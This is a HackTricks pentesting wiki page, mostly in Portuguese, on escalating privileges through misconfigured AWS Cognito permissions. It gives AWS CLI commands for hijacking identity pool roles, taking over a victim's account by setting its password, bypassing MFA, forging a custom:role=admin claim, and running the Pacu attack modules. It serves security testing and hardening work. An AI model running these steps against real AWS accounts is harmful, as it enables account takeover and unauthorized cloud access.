AWS - Cognito Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Cognito

Para mais informações sobre Cognito consulte:

AWS - Cognito Enum

Coleta de credenciais do Identity Pool

Como o Cognito pode conceder IAM role credentials tanto a usuários autenticados quanto a usuários não autenticados, se você localizar o Identity Pool ID de uma aplicação (geralmente codificado diretamente nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem sequer tinha credenciais anteriormente).

Para mais informações consulte esta página.

Impacto Potencial: Privesc direto para o role de serviços anexado aos usuários não autenticados (e provavelmente também para o anexado aos usuários autenticados).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Com essa permissão você pode conceder qualquer cognito role aos usuários autenticados/não autenticados do app Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Se o app do Cognito não tiver usuários não autenticados habilitados você pode precisar também da permissão cognito-identity:UpdateIdentityPool para ativá-la.

Impacto Potencial: Privesc direto para qualquer role do Cognito.

cognito-identity:update-identity-pool

Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma forma de acessar este Cognito Identity Pool. Então, apenas fazer login nesse provedor de usuário irá permitir que ele acesse o role autenticado configurado no Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Também é possível abusar dessa permissão para permitir basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto Potencial: Comprometer a configured authenticated IAM role inside the identity pool.

cognito-idp:AdminAddUserToGroup

Esta permissão permite adicionar um usuário Cognito a um grupo Cognito, portanto um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com privilégios melhores ou diferentes IAM roles:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto potencial: Privesc para outros Cognito groups e IAM roles anexadas a User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Um atacante com essas permissões poderia criar/atualizar grupos com todas as IAM roles que podem ser utilizadas por um Cognito Identity Provider comprometido e tornar um usuário comprometido membro do grupo, acessando todas essas roles:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto Potencial: Privesc para outras roles IAM do Cognito.

cognito-idp:AdminConfirmSignUp

Essa permissão permite verificar um cadastro. Por padrão, qualquer pessoa pode se cadastrar em aplicações Cognito; se isso estiver habilitado, um usuário poderia criar uma conta com quaisquer dados e verificá-la com essa permissão.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Indirect privesc to the identity pool IAM role for authenticated users se você conseguir registrar um novo usuário. Indirect privesc para outras funcionalidades do app, permitindo confirmar qualquer conta.

cognito-idp:AdminCreateUser

Essa permissão permitiria a um attacker criar um novo usuário dentro do user pool. O novo usuário é criado como enabled, mas precisará alterar sua senha.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto Potencial: Privesc direto na identity pool IAM role para usuários autenticados. Privesc indireto em outras funcionalidades do app, permitindo criar qualquer usuário

cognito-idp:AdminEnableUser

Esta permissão pode ajudar em um cenário muito específico onde um atacante encontrou as credenciais de um usuário desativado e precisa habilitá-lo novamente.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto potencial: Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Essa permissão permite fazer login com o method ADMIN_USER_PASSWORD_AUTH. Para mais informações, siga o link.

cognito-idp:AdminSetUserPassword

Essa permissão permitiria que um atacante definisse uma senha conhecida para qualquer usuário, geralmente resultando em um comprometimento direto da conta (especialmente se a vítima não tiver MFA habilitado, ou se o MFA não for imposto para o fluxo/cliente de autenticação relevante).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Fluxo de trabalho comum:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Related permission: cognito-idp:AdminResetUserPassword pode ser usada para forçar um fluxo de reset para uma vítima (o impacto depende de como a recuperação de senha é implementada e o que o atacante pode interceptar ou controlar).

Potential Impact: Tomada de conta de usuários arbitrários; acesso a privilégios em nível de aplicação (groups/roles/claims) e a qualquer recurso a jusante que confie em tokens do Cognito; possível acesso às IAM roles autenticadas do Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Um atacante poderia potencialmente abusar desta permissão para definir um telefone móvel sob seu controle como SMS MFA de um usuário.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um usuário para realizar bypass na proteção de MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um user pool, permitindo bypass da proteção MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Também é possível atualizar o user pool para alterar a política de MFA. Check cli here.

Impacto Potencial: Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conheça; isso poderia permitir contornar a proteção MFA.

cognito-idp:AdminUpdateUserAttributes

Um atacante com essa permissão pode alterar qualquer atributo mutável de um usuário do User Pool (incluindo atributos custom:*) para tentar obter privilégios em uma aplicação subjacente.

Um padrão comum de alto impacto é claim-based RBAC implementado usando custom attributes (por exemplo custom:role=admin). Se a aplicação confiar nessa claim, atualizá-la e então reautenticar pode contornar a autorização sem modificar a aplicação.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Exemplo: atualizar seu próprio role e refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Impacto Potencial: Indirect privesc em aplicações que confiam em atributos/claims do Cognito para autorização; capacidade de modificar outros atributos relevantes para a segurança (por exemplo, definir email_verified ou phone_number_verified como true pode ser importante em algumas aplicações).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Um atacante com essa permissão poderia create a new User Pool Client less restricted do que os clientes de pool já existentes. Por exemplo, o novo client poderia permitir qualquer método de autenticação, não ter nenhum secret, ter token revocation desabilitada e permitir que tokens sejam válidos por um período mais longo…

O mesmo pode ser feito se, em vez de criar um novo client, um existing one is modified.

In the command line (or the update one) you can see all the options, check it!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potential Impact: Potencial privesc indireto para o usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo client que relaxa as medidas de segurança e possibilita que um atacante faça login com um user que ele conseguiu criar.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Um atacante poderia abusar dessa permissão para criar usuários fazendo o upload de um CSV com novos usuários.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(No caso de criar um novo import job você também pode precisar da permissão iam passrole, ainda não testei.)

Impacto Potencial: Privesc direto para a identity pool IAM role para authenticated users. Privesc indireto para outras funcionalidades do app capazes de criar qualquer usuário.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Um atacante poderia criar um novo identity provider para então conseguir login through this provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto Potencial: Privesc direto para o identity pool IAM role para usuários autenticados. Privesc indireto para outras funcionalidades da aplicação que permitam criar qualquer usuário.

cognito-sync:* Análise

Esta é uma permissão muito comum por padrão em roles de Cognito Identity Pools. Mesmo que um wildcard em permissões sempre pareça ruim (especialmente vindo da AWS), as permissões fornecidas não são muito úteis do ponto de vista de um atacante.

Essa permissão permite ler informações de uso de Identity Pools e Identity IDs dentro dos Identity Pools (o que não é informação sensível).
Identity IDs podem ter Datasets atribuídos a eles, que são informações das sessões (a AWS define como um saved game). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na página de enumeração como acessar essa informação.

Um atacante também poderia usar essas permissões para inscrever-se em um Cognito stream que publica mudanças nesses datasets ou em uma lambda que dispara em cognito events. Não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.

Ferramentas Automáticas

  • Pacu, o framework de exploração AWS, agora inclui os módulos “cognito__enum” e “cognito__attack” que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e privilege escalation com base em custom attributes modificáveis, credenciais de identity pool utilizáveis, assumable roles em id tokens, etc.

Para uma descrição das funções dos módulos veja a parte 2 do blog post. Para instruções de instalação veja a página principal do Pacu.

Uso

Amostra de uso do cognito__attack para tentar criação de usuário e todos os vetores de privesc contra um dado identity pool e user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privesc.

Instalação

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para mais informações, consulte https://github.com/padok-team/cognito-scanner

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks